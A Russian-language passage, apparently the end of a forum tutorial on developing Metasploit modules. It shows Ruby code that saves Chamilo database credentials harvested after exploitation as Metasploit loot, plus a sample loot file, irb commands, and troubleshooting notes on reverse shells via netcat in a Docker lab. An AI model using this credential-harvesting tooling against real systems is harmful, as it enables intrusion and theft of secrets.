Последняя функция, но не последняя по значению - функция сохранения данных. Сохранять будем в JSON-файл
Ruby:
def store_credentials(creds)
loot = {
timestamp: Time.now.utc,
config_path: creds[:config_path],
db_host: creds[:db_host],
db_port: creds[:db_port],
db_name: creds[:db_name],
db_user: creds[:db_user],
db_password: creds[:db_password]
}
store_loot(
'chamilo.db.credentials',
'application/json',
session,
loot.to_json,
'chamilo_creds.json',
'Chamilo Database Credentials'
)
end
store_loot позволяет сохранять добытые данные в структурированном виде. Вызов с комментариями:
Ruby:
store_loot(
'chamilo.db.credentials', # Уникальный ID лута
'application/json', # Тип данных (JSON, text, binary)
session, # Текущая сессия
loot_data.to_json, # Данные для сохранения (в JSON)
'chamilo_creds.json', # Имя файла
'Chamilo Database Credentials' # Описание
)
По идее, можно использовать команду loot, чтобы посмотреть список сохраненных в БД метасплоита лутов. После чего выбрать нужный лут и в табличном виде увидеть результа. Если не вышло, можно запустить irb, после чего найти все лут-файлы. Команды:
Bash:
msf6 > irb # Открыть интерактивную Ruby-консоль
>> Dir.glob("#{Msf::Config.loot_directory}/*.json").each { |f| puts f }
Вывод:
Выод из БД:
Чтобы запустить метасплоит с базой, надо поднять postgres и выполнить инициализацию командой msfdb init.
Пример файла лута:
JSON:
{
"timestamp":"2025-04-03T20:17:02.208Z",
"config_path":"/var/www/html/app/config/configuration.php",
"Db_host":"db",
"Db_port":"3306",
"Db_name":"chamilo",
"Db_user":"chamilo",
"db_password":"chamilopassword"
}
Вроде как, если запустить msfconsole с параметром --keystore, то и лут должен быть зашифрованным.
Это не единственный способ сохранить данные, но вполне хороший вариант чтобы не потерять важные данные.
Возможные проблемы и их решение
Большинство проблем, как обычно из-за невнимательности. Например, я долго и упорно искал проблемы в коде, когда нужно было просто указать другой SRVPORT. Но нужно помнить, что проект собран на Docker и в минималке, поэтому много чего может не хватать.- Убедитесь в существовании нужных папок и файлов. Выше уже писал, что может вовсе не быть папки files. Эта проблема встречалась у меня на Windows, в Linux нет, но мало ли.
- Проверьте права. В целом, чтобы не мучаться, я тупо ставил права 777 на папку files. Учитывая, что мы портировали эксплоит, в данном случае так вполне себе можно.
- Я тестировал на Kali в VirtualBox. Если делаете так же, сетевой адаптер нужно поставить как “сетевой мост”. Тогда спокойно можно юзать адрес машины вида 192.168… При попытках работать со 127.0.0.1 как с сервером для подключения реверс-шелла, могут возникнуть проблемы.
- Убедитесь, что все нужно есть. Я добавил в Dockerfile установку netcat и прочего, но мало ли.
- Не стесняйтесь подключиться к контейнеру и руками выполнить то, что хотите от скрипта. Не важно, find это или обратное соединение через nc.
- Используйте “ruby -c путькфайлу” для проверки синтаксиса, должно быть всегда “Syntax OK”
- В минуты отчаяния, я сношу практически все из модуля, а потом построчно добавляю пока не наткнусь на ошибку... иногда проще так, чем логи и вот это ваше все...
В завершении
Metasploit Framework API предоставляет реально крутые возможности для разработки хакерских решений. Именно решений, которые могут работать как сами по себе, так и в купе с другими уже существующими модулями или вовсе сторонним ПО. По болошому счету, есть мощные инструменты, по типу метерпретера и безграничная свобода действий.В статье мы разобрали лишь малую часть. Да, накидали неплохой модуль для поиска бэкапов. Посмотрели, как портировать существующий эксплоит. Успешно портировали, попутно разобрав кучу проблем с докером и прочим. И завершились постэксплуатацией. Но если, например, поговорить о вариантах сохранения данных, мы рассмотрели одну функцию из огромного количества.Интерфейс Msf::Auxiliary::Report поддерживает create_cracked_credential, report_note и т.д., а не только сохранение лута.
Собственно, буду рад если чирканете пару строк…, понравилась не понравилась статья, может что-то нужно добавить или раскрыть какую-то тему новой статьей? А может я чего коряво применил и есть более хороший вариант?
P.S.
В архиве две папки: Auxiliary и CVE. В первой все, что касается поиска бэкапов. Во второй все про Chamilo. Куча вложенных подпапок это фактический путь к модулям.
Вложения
Последнее редактирование: